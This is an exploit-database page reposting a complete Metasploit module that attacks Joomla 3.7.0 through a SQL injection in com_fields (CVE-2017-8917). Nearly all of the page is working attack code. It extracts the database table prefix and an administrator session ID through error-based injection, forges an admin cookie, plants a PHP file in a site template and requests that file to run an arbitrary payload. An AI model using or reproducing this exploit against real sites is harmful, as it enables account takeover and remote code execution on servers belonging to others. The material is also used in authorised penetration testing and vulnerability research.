Advertisement






Joomla Component Fields SQLi Remote Code Execution

CVE Category Price Severity
CVE-2017-8917 CWE-89 $500 Critical
Author Risk Exploitation Type Date
MaYaSeVeN High Remote 2018-03-30
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030251

Below is a copy:

Joomla Component Fields SQLi Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Joomla Component Fields SQLi Remote Code Execution',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability in the com_fields
        component, which was introduced to the core of Joomla in version 3.7.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mateus Lino', # Vulnerability discovery
          'luisco100 <luisco100[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-8917' ], # SQLi
          [ 'EDB', '42033' ],
          [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla 3.7.0', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 17 2017',
      'DefaultTarget'  => 0))

  end

  def check
    # Request using a non-existing table
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')

    if val.nil?
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end


  def sqli(tableprefix, option)
    # SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
    # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real Administrator or Super User sessions.
    if option == 'check'
      start = rand_text_alpha(5)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(5)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
    else
      start = rand_text_alpha(3)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(3)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'option' => 'com_fields',
        'view' => 'fields',
        'layout'=> 'modal',
        'list[fullordering]' => sql
        }
      })

    if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
      return $1
    end
    return nil
  end


  def exploit
    # Request using a non-existing table first, to retrieve the table prefix
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
    else
      table_prefix = Base64.decode64(val)
      table_prefix.sub! '_session', ''
      print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
    end

    # Retrieve the admin session using our retrieved table prefix
    val = sqli("#{table_prefix}_", 'exploit')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
    else
      auth_cookie_part = val
      print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php')
    })

    if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
      cookie_begin = $1
      print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
    end

    # Modify cookie to authenticated admin
    auth_cookie = cookie_begin
    auth_cookie << '='
    auth_cookie << auth_cookie_part
    auth_cookie << ';'

    # Authenticated session
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie
      })

    if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
      print_good("#{peer} - Successfully authenticated")
    else
      fail_with(Failure::Unknown, "#{peer} - Session failure")
    end

    # Retrieve template view
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'templates'
        }
      })

    # We try to retrieve and store the first template found
    if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
      template_id = $1
      file_id = $2

      form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
      input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
      input_id = input_hidden[7].split("\"")
      input_id = input_id[1]

    else
      fail_with(Failure::Unknown, "Unable to retrieve template")
    end



    filename = rand_text_alphanumeric(rand(10)+6)
    # Create file
    print_status("#{peer} - Creating file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'task' => 'template.createFile',
        'id' => template_id,
        'file' => file_id,
        },
      'vars_post' => {
        'type' => 'php',
        'address' => '',
        input_id => '1',
        'name' => filename
      }
      })

    # Grab token
    if res && res.code == 303 && res.headers['Location']
      location = res.headers['Location']
      print_status("#{peer} - Following redirect to [ #{location} ]")
      res = send_request_cgi(
        'uri'    => location,
        'method' => 'GET',
        'cookie' => auth_cookie
      )

      # Retrieving template token
      if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
        token = $1
        print_status("#{peer} - Token [ #{token} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
      end

      if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
        template_path = $1
        print_status("#{peer} - Template path [ #{template_path} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
      end

    else
      fail_with(Failure::Unknown, "#{peer} - Creating file failed")
    end

    filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

    # Inject payload data into file
    print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'template',
        'id' => template_id,
        'file' => filename_base64,
        },
      'vars_post' => {
        'jform[source]' => payload.encoded,
        'task' => 'template.apply',
        token => '1',
        'jform[extension_id]' => template_id,
        'jform[filename]' => "/#{filename}.php"
      }
      })

    if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
      print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
    end

    # Request payload
    register_files_for_cleanup("#{filename}.php")
    print_status("#{peer} - Executing payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
      'cookie'  => auth_cookie
    })
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum